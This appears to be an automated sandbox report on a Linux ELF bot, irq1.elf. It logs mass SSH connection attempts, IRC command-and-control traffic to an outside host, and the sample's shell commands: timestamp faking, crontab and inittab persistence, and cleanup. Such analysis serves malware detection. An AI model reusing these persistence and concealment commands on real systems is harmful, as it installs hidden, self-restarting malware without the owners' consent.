Oct 22, 2024 18:10:26.646413088 CEST	22	56886	170.122.22.16	192.168.2.13
Oct 22, 2024 18:10:26.646636963 CEST	22	42716	170.46.76.122	192.168.2.13
Oct 22, 2024 18:10:26.647967100 CEST	54424	22	192.168.2.13	170.201.244.137
Oct 22, 2024 18:10:26.647967100 CEST	56886	22	192.168.2.13	170.122.22.16
Oct 22, 2024 18:10:26.647965908 CEST	59558	22	192.168.2.13	170.203.95.101
Oct 22, 2024 18:10:26.647965908 CEST	34446	22	192.168.2.13	170.98.11.19
Oct 22, 2024 18:10:26.647979975 CEST	55852	22	192.168.2.13	170.75.195.250
Oct 22, 2024 18:10:26.647979975 CEST	51802	22	192.168.2.13	170.116.205.196
Oct 22, 2024 18:10:26.647989035 CEST	44904	22	192.168.2.13	170.162.37.102
Oct 22, 2024 18:10:26.647994995 CEST	33924	22	192.168.2.13	170.93.24.200
Oct 22, 2024 18:10:26.647996902 CEST	56810	22	192.168.2.13	170.8.225.73
Oct 22, 2024 18:10:26.648024082 CEST	45144	22	192.168.2.13	170.188.246.201
Oct 22, 2024 18:10:26.648056030 CEST	49278	22	192.168.2.13	170.200.164.116
Oct 22, 2024 18:10:26.648248911 CEST	45144	22	192.168.2.13	170.188.246.201
Oct 22, 2024 18:10:26.648893118 CEST	33924	22	192.168.2.13	170.93.24.200
Oct 22, 2024 18:10:26.650592089 CEST	56810	22	192.168.2.13	170.8.225.73
Oct 22, 2024 18:10:26.650609970 CEST	49278	22	192.168.2.13	170.200.164.116
Oct 22, 2024 18:10:26.650985003 CEST	51802	22	192.168.2.13	170.116.205.196
Oct 22, 2024 18:10:26.651094913 CEST	22	37486	170.88.235.187	192.168.2.13
Oct 22, 2024 18:10:26.651124954 CEST	22	37342	170.174.220.54	192.168.2.13
Oct 22, 2024 18:10:26.651154041 CEST	22	42614	170.43.246.26	192.168.2.13
Oct 22, 2024 18:10:26.651182890 CEST	22	52494	170.90.106.142	192.168.2.13
Oct 22, 2024 18:10:26.651211023 CEST	22	55216	170.22.59.116	192.168.2.13
Oct 22, 2024 18:10:26.651238918 CEST	22	34818	170.92.218.121	192.168.2.13
Oct 22, 2024 18:10:26.651267052 CEST	22	60136	170.67.215.162	192.168.2.13
Oct 22, 2024 18:10:26.651295900 CEST	22	58982	170.47.35.173	192.168.2.13
Oct 22, 2024 18:10:26.651345968 CEST	22	60048	170.138.10.147	192.168.2.13
Oct 22, 2024 18:10:26.651380062 CEST	22	60316	170.85.45.213	192.168.2.13
Oct 22, 2024 18:10:26.651407957 CEST	22	60764	170.135.13.62	192.168.2.13
Oct 22, 2024 18:10:26.651436090 CEST	22	38204	170.199.33.78	192.168.2.13
Oct 22, 2024 18:10:26.651658058 CEST	22	44520	170.1.14.163	192.168.2.13
Oct 22, 2024 18:10:26.651961088 CEST	60764	22	192.168.2.13	170.135.13.62
Oct 22, 2024 18:10:26.651969910 CEST	34818	22	192.168.2.13	170.92.218.121
Oct 22, 2024 18:10:26.651973009 CEST	55216	22	192.168.2.13	170.22.59.116
Oct 22, 2024 18:10:26.651971102 CEST	60048	22	192.168.2.13	170.138.10.147
Oct 22, 2024 18:10:26.651973009 CEST	42614	22	192.168.2.13	170.43.246.26
Oct 22, 2024 18:10:26.651974916 CEST	60136	22	192.168.2.13	170.67.215.162
Oct 22, 2024 18:10:26.651973963 CEST	42716	22	192.168.2.13	170.46.76.122
Oct 22, 2024 18:10:26.651978970 CEST	38204	22	192.168.2.13	170.199.33.78
Oct 22, 2024 18:10:26.651978970 CEST	52494	22	192.168.2.13	170.90.106.142
Oct 22, 2024 18:10:26.652003050 CEST	58982	22	192.168.2.13	170.47.35.173
Oct 22, 2024 18:10:26.652410984 CEST	44904	22	192.168.2.13	170.162.37.102
Oct 22, 2024 18:10:26.652410984 CEST	59558	22	192.168.2.13	170.203.95.101
Oct 22, 2024 18:10:26.653249979 CEST	22	48648	170.213.207.25	192.168.2.13
Oct 22, 2024 18:10:26.653280973 CEST	22	47246	170.238.100.103	192.168.2.13
Oct 22, 2024 18:10:26.653310061 CEST	22	35918	170.231.24.30	192.168.2.13
Oct 22, 2024 18:10:26.653769970 CEST	34818	22	192.168.2.13	170.92.218.121
Oct 22, 2024 18:10:26.655112028 CEST	55852	22	192.168.2.13	170.75.195.250
Oct 22, 2024 18:10:26.655112028 CEST	60136	22	192.168.2.13	170.67.215.162
Oct 22, 2024 18:10:26.655961990 CEST	35918	22	192.168.2.13	170.231.24.30
Oct 22, 2024 18:10:26.656311035 CEST	42614	22	192.168.2.13	170.43.246.26
Oct 22, 2024 18:10:26.656326056 CEST	58982	22	192.168.2.13	170.47.35.173
Oct 22, 2024 18:10:26.656328917 CEST	47246	22	192.168.2.13	170.238.100.103
Oct 22, 2024 18:10:26.656341076 CEST	22	54424	170.201.244.137	192.168.2.13
Oct 22, 2024 18:10:26.656373978 CEST	22	45144	170.188.246.201	192.168.2.13
Oct 22, 2024 18:10:26.656403065 CEST	22	33924	170.93.24.200	192.168.2.13
Oct 22, 2024 18:10:26.656431913 CEST	22	56810	170.8.225.73	192.168.2.13
Oct 22, 2024 18:10:26.656460047 CEST	22	49278	170.200.164.116	192.168.2.13
Oct 22, 2024 18:10:26.656488895 CEST	22	51802	170.116.205.196	192.168.2.13
Oct 22, 2024 18:10:26.658503056 CEST	55216	22	192.168.2.13	170.22.59.116
Oct 22, 2024 18:10:26.658510923 CEST	60048	22	192.168.2.13	170.138.10.147
Oct 22, 2024 18:10:26.658551931 CEST	22	44904	170.162.37.102	192.168.2.13
Oct 22, 2024 18:10:26.658603907 CEST	22	59558	170.203.95.101	192.168.2.13
Oct 22, 2024 18:10:26.658879042 CEST	60764	22	192.168.2.13	170.135.13.62
Oct 22, 2024 18:10:26.660305977 CEST	35918	22	192.168.2.13	170.231.24.30
Oct 22, 2024 18:10:26.660317898 CEST	38204	22	192.168.2.13	170.199.33.78
Oct 22, 2024 18:10:26.661537886 CEST	22	34818	170.92.218.121	192.168.2.13
Oct 22, 2024 18:10:26.661618948 CEST	22	55852	170.75.195.250	192.168.2.13
Oct 22, 2024 18:10:26.661648035 CEST	22	60136	170.67.215.162	192.168.2.13
Oct 22, 2024 18:10:26.661818027 CEST	22	42614	170.43.246.26	192.168.2.13
Oct 22, 2024 18:10:26.661861897 CEST	47246	22	192.168.2.13	170.238.100.103
Oct 22, 2024 18:10:26.662417889 CEST	57532	22	192.168.2.13	170.61.111.74
Oct 22, 2024 18:10:26.663789034 CEST	22	58982	170.47.35.173	192.168.2.13
Oct 22, 2024 18:10:26.663822889 CEST	34446	22	192.168.2.13	170.98.11.19
Oct 22, 2024 18:10:26.663940907 CEST	22	55216	170.22.59.116	192.168.2.13
Oct 22, 2024 18:10:26.667031050 CEST	22	60048	170.138.10.147	192.168.2.13
Oct 22, 2024 18:10:26.667059898 CEST	22	60764	170.135.13.62	192.168.2.13
Oct 22, 2024 18:10:26.667088985 CEST	22	35918	170.231.24.30	192.168.2.13
Oct 22, 2024 18:10:26.667118073 CEST	22	38204	170.199.33.78	192.168.2.13
Oct 22, 2024 18:10:26.667171001 CEST	22	47246	170.238.100.103	192.168.2.13
Oct 22, 2024 18:10:26.669123888 CEST	22	57532	170.61.111.74	192.168.2.13
Oct 22, 2024 18:10:26.672283888 CEST	22	34446	170.98.11.19	192.168.2.13
Oct 22, 2024 18:10:26.672317028 CEST	22	57224	170.185.20.194	192.168.2.13
Oct 22, 2024 18:10:26.673851013 CEST	57224	22	192.168.2.13	170.185.20.194
Oct 22, 2024 18:10:26.677442074 CEST	22	51124	170.181.245.31	192.168.2.13
Oct 22, 2024 18:10:26.677839994 CEST	51124	22	192.168.2.13	170.181.245.31
Oct 22, 2024 18:10:26.678889036 CEST	22	58452	170.88.26.217	192.168.2.13
Oct 22, 2024 18:10:26.679188967 CEST	22	57224	170.185.20.194	192.168.2.13
Oct 22, 2024 18:10:26.679466963 CEST	58452	22	192.168.2.13	170.88.26.217
Oct 22, 2024 18:10:26.683219910 CEST	22	51124	170.181.245.31	192.168.2.13
Oct 22, 2024 18:10:26.684770107 CEST	22	58452	170.88.26.217	192.168.2.13
Oct 22, 2024 18:10:26.730540991 CEST	22	53058	170.208.160.22	192.168.2.13
Oct 22, 2024 18:10:26.731024027 CEST	22	36290	170.137.243.17	192.168.2.13
Oct 22, 2024 18:10:26.731353045 CEST	53058	22	192.168.2.13	170.208.160.22
Oct 22, 2024 18:10:26.731429100 CEST	22	56516	170.53.49.62	192.168.2.13
Oct 22, 2024 18:10:26.732285976 CEST	36290	22	192.168.2.13	170.137.243.17
Oct 22, 2024 18:10:26.734421015 CEST	22	45216	170.64.13.21	192.168.2.13
Oct 22, 2024 18:10:26.734460115 CEST	56516	22	192.168.2.13	170.53.49.62
Oct 22, 2024 18:10:26.735853910 CEST	45216	22	192.168.2.13	170.64.13.21
Oct 22, 2024 18:10:26.736241102 CEST	22	57610	170.11.14.76	192.168.2.13
Oct 22, 2024 18:10:26.736272097 CEST	22	59324	170.64.100.45	192.168.2.13
Oct 22, 2024 18:10:26.736454010 CEST	22	34290	170.127.245.64	192.168.2.13
Oct 22, 2024 18:10:26.736551046 CEST	59324	22	192.168.2.13	170.64.100.45
Oct 22, 2024 18:10:26.736790895 CEST	22	53058	170.208.160.22	192.168.2.13
Oct 22, 2024 18:10:26.736955881 CEST	34290	22	192.168.2.13	170.127.245.64
Oct 22, 2024 18:10:26.739181042 CEST	57610	22	192.168.2.13	170.11.14.76
Oct 22, 2024 18:10:26.739772081 CEST	22	36290	170.137.243.17	192.168.2.13
Oct 22, 2024 18:10:26.739801884 CEST	22	42000	170.28.153.181	192.168.2.13
Oct 22, 2024 18:10:26.740052938 CEST	42000	22	192.168.2.13	170.28.153.181
Oct 22, 2024 18:10:26.741298914 CEST	42000	22	192.168.2.13	170.28.153.181
Oct 22, 2024 18:10:26.741640091 CEST	22	56516	170.53.49.62	192.168.2.13
Oct 22, 2024 18:10:26.741674900 CEST	22	45216	170.64.13.21	192.168.2.13
Oct 22, 2024 18:10:26.741921902 CEST	22	59324	170.64.100.45	192.168.2.13
Oct 22, 2024 18:10:26.742398977 CEST	22	34290	170.127.245.64	192.168.2.13
Oct 22, 2024 18:10:26.745850086 CEST	22	57610	170.11.14.76	192.168.2.13
Oct 22, 2024 18:10:26.747672081 CEST	22	42000	170.28.153.181	192.168.2.13
Oct 22, 2024 18:10:26.750509977 CEST	22	38998	170.247.225.87	192.168.2.13
Oct 22, 2024 18:10:26.750837088 CEST	38998	22	192.168.2.13	170.247.225.87
Oct 22, 2024 18:10:26.751866102 CEST	22	58212	170.158.181.0	192.168.2.13
Oct 22, 2024 18:10:26.751955986 CEST	58212	22	192.168.2.13	170.158.181.0
Oct 22, 2024 18:10:26.752295971 CEST	58212	22	192.168.2.13	170.158.181.0
Oct 22, 2024 18:10:26.756222010 CEST	22	38998	170.247.225.87	192.168.2.13
Oct 22, 2024 18:10:26.758682013 CEST	22	58212	170.158.181.0	192.168.2.13
Oct 22, 2024 18:10:26.782013893 CEST	22	47220	170.159.177.241	192.168.2.13
Oct 22, 2024 18:10:26.782028913 CEST	22	60230	170.111.97.148	192.168.2.13
Oct 22, 2024 18:10:26.783355951 CEST	47220	22	192.168.2.13	170.159.177.241
Oct 22, 2024 18:10:26.783759117 CEST	60230	22	192.168.2.13	170.111.97.148
Oct 22, 2024 18:10:26.788830042 CEST	22	47220	170.159.177.241	192.168.2.13
Oct 22, 2024 18:10:26.789311886 CEST	22	60230	170.111.97.148	192.168.2.13
Oct 22, 2024 18:10:26.800888062 CEST	22	36830	170.175.74.189	192.168.2.13
Oct 22, 2024 18:10:26.801275015 CEST	36830	22	192.168.2.13	170.175.74.189
Oct 22, 2024 18:10:26.805588961 CEST	22	35572	170.43.112.136	192.168.2.13
Oct 22, 2024 18:10:26.805895090 CEST	35572	22	192.168.2.13	170.43.112.136
Oct 22, 2024 18:10:26.806746960 CEST	22	36830	170.175.74.189	192.168.2.13
Oct 22, 2024 18:10:26.811295986 CEST	22	35572	170.43.112.136	192.168.2.13
Oct 22, 2024 18:10:26.811395884 CEST	22	42060	170.53.239.74	192.168.2.13
Oct 22, 2024 18:10:26.811885118 CEST	42060	22	192.168.2.13	170.53.239.74
Oct 22, 2024 18:10:26.817394972 CEST	22	42060	170.53.239.74	192.168.2.13
Oct 22, 2024 18:10:26.847491026 CEST	22	57776	170.222.39.190	192.168.2.13
Oct 22, 2024 18:10:26.848069906 CEST	57776	22	192.168.2.13	170.222.39.190
Oct 22, 2024 18:10:26.848853111 CEST	57776	22	192.168.2.13	170.222.39.190
Oct 22, 2024 18:10:26.854304075 CEST	22	57776	170.222.39.190	192.168.2.13
Oct 22, 2024 18:10:26.941502094 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:26.941549063 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:26.941715002 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:26.947052956 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:27.256814957 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:27.256891012 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:27.257072926 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:27.257098913 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:27.263283968 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:27.263799906 CEST	22	33720	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:27.264003992 CEST	33720	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:28.275579929 CEST	22	33312	170.66.196.242	192.168.2.13
Oct 22, 2024 18:10:28.275950909 CEST	33312	22	192.168.2.13	170.66.196.242
Oct 22, 2024 18:10:28.281400919 CEST	22	33312	170.66.196.242	192.168.2.13
Oct 22, 2024 18:10:28.327735901 CEST	22	35796	170.132.206.7	192.168.2.13
Oct 22, 2024 18:10:28.328922987 CEST	35796	22	192.168.2.13	170.132.206.7
Oct 22, 2024 18:10:28.328922987 CEST	35796	22	192.168.2.13	170.132.206.7
Oct 22, 2024 18:10:28.334294081 CEST	22	35796	170.132.206.7	192.168.2.13
Oct 22, 2024 18:10:28.419398069 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:28.420958042 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:28.700057030 CEST	57440	22	192.168.2.13	170.17.42.30
Oct 22, 2024 18:10:28.705507040 CEST	22	57440	170.17.42.30	192.168.2.13
Oct 22, 2024 18:10:28.777829885 CEST	42716	22	192.168.2.13	170.46.76.122
Oct 22, 2024 18:10:28.781770945 CEST	40090	22	192.168.2.13	170.144.49.68
Oct 22, 2024 18:10:28.783271074 CEST	22	42716	170.46.76.122	192.168.2.13
Oct 22, 2024 18:10:28.787084103 CEST	22	40090	170.144.49.68	192.168.2.13
Oct 22, 2024 18:10:28.790622950 CEST	42848	22	192.168.2.13	170.172.149.200
Oct 22, 2024 18:10:28.795995951 CEST	22	42848	170.172.149.200	192.168.2.13
Oct 22, 2024 18:10:28.796022892 CEST	52494	22	192.168.2.13	170.90.106.142
Oct 22, 2024 18:10:28.801467896 CEST	22	52494	170.90.106.142	192.168.2.13
Oct 22, 2024 18:10:28.804935932 CEST	56886	22	192.168.2.13	170.122.22.16
Oct 22, 2024 18:10:28.810363054 CEST	22	56886	170.122.22.16	192.168.2.13

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 18:09:37.584214926 CEST	41872	53	192.168.2.13	1.1.1.1
Oct 22, 2024 18:09:37.584214926 CEST	45167	53	192.168.2.13	1.1.1.1
Oct 22, 2024 18:09:37.592181921 CEST	53	41872	1.1.1.1	192.168.2.13
Oct 22, 2024 18:09:37.593034029 CEST	53	45167	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 22, 2024 18:09:37.584214926 CEST	192.168.2.13	1.1.1.1	0xa933	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false
Oct 22, 2024 18:09:37.584214926 CEST	192.168.2.13	1.1.1.1	0xbcd2	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 22, 2024 18:09:37.593034029 CEST	1.1.1.1	192.168.2.13	0xbcd2	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Oct 22, 2024 18:09:37.593034029 CEST	1.1.1.1	192.168.2.13	0xbcd2	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

IRC Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 22, 2024 18:06:54.293448925 CEST	33610	8080	192.168.2.13	66.172.9.3	NICK M\|o\|0\|873581\|galassia USER x00 localhost localhost :23h2a+1.1+tftp_s
Oct 22, 2024 18:06:54.476021051 CEST	33610	8080	192.168.2.13	66.172.9.3	JOIN #0x00 :777 MODE M\|o\|0\|873581\|galassia -xi MODE M\|o\|0\|873581\|galassia +B
Oct 22, 2024 18:06:54.481586933 CEST	33610	8080	192.168.2.13	66.172.9.3	JOIN #0x00 :777 MODE M\|o\|0\|873581\|galassia -xi MODE M\|o\|0\|873581\|galassia +B
Oct 22, 2024 18:06:54.487864971 CEST	33610	8080	192.168.2.13	66.172.9.3	JOIN #0x00 :777
Oct 22, 2024 18:06:54.504955053 CEST	33610	8080	192.168.2.13	66.172.9.3	JOIN #0x00 :777

System Behavior

Analysis Process: irq1.elf PID: 5437, Parent PID: 5358

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	/tmp/irq1.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: irq1.elf PID: 5439, Parent PID: 5437

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5439, Parent PID: 5437

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "touch -acmr /bin/ls /tmp/irq1.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5445, Parent PID: 5439

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: touch PID: 5445, Parent PID: 5439

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/usr/bin/touch
Arguments:	touch -acmr /bin/ls /tmp/irq1.elf
File size:	100728 bytes
MD5 hash:	3859c173f5d3b37be3e531b7c84a9c68

Chronological Activities

Analysis Process: irq1.elf PID: 5446, Parent PID: 5437

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5446, Parent PID: 5437

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "(crontab -l \| grep -v \"/tmp/irq1.elf\" \| grep -v \"no cron\" \| grep -v \"lesshts/run.sh\" > /var/run/.x00740882966) > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5451, Parent PID: 5446

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5452, Parent PID: 5451

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: crontab PID: 5452, Parent PID: 5451

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/usr/bin/crontab
Arguments:	crontab -l
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

Chronological Activities

Analysis Process: sh PID: 5453, Parent PID: 5451

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 5453, Parent PID: 5451

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/usr/bin/grep
Arguments:	grep -v /tmp/irq1.elf
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 5454, Parent PID: 5451

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 5454, Parent PID: 5451

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/usr/bin/grep
Arguments:	grep -v "no cron"
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 5455, Parent PID: 5451

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 5455, Parent PID: 5451

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/usr/bin/grep
Arguments:	grep -v lesshts/run.sh
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: irq1.elf PID: 5456, Parent PID: 5437

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5456, Parent PID: 5437

General

Start time (UTC):	16:06:51
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "echo \"* * * * * /tmp/irq1.elf > /dev/null 2>&1 &\" >> /var/run/.x00740882966"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: irq1.elf PID: 5458, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5458, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "crontab /var/run/.x00740882966"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5460, Parent PID: 5458

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: crontab PID: 5460, Parent PID: 5458

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/usr/bin/crontab
Arguments:	crontab /var/run/.x00740882966
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

Chronological Activities

Analysis Process: irq1.elf PID: 5461, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5461, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "rm -rf /var/run/.x00740882966"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5463, Parent PID: 5461

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5463, Parent PID: 5461

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/usr/bin/rm
Arguments:	rm -rf /var/run/.x00740882966
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: irq1.elf PID: 5464, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5464, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "cat /etc/inittab \| grep -v \"/tmp/irq1.elf\" > /etc/inittab2"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5466, Parent PID: 5464

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: cat PID: 5466, Parent PID: 5464

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/usr/bin/cat
Arguments:	cat /etc/inittab
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Chronological Activities

Analysis Process: sh PID: 5467, Parent PID: 5464

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 5467, Parent PID: 5464

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/usr/bin/grep
Arguments:	grep -v /tmp/irq1.elf
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: irq1.elf PID: 5468, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5468, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "echo \"0:2345:respawn:/tmp/irq1.elf\" >> /etc/inittab2"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: irq1.elf PID: 5470, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5470, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "cat /etc/inittab2 > /etc/inittab"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5472, Parent PID: 5470

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: cat PID: 5472, Parent PID: 5470

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/usr/bin/cat
Arguments:	cat /etc/inittab2
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Chronological Activities

Analysis Process: irq1.elf PID: 5473, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/tmp/irq1.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Chronological Activities

Analysis Process: sh PID: 5473, Parent PID: 5437

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	sh -c "rm -rf /etc/inittab2"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5475, Parent PID: 5473

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5475, Parent PID: 5473

General

Start time (UTC):	16:06:52
Start date (UTC):	22/10/2024
Path:	/usr/bin/rm
Arguments:	rm -rf /etc/inittab2
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: irq1.elf PID: 5476, Parent PID: 5437

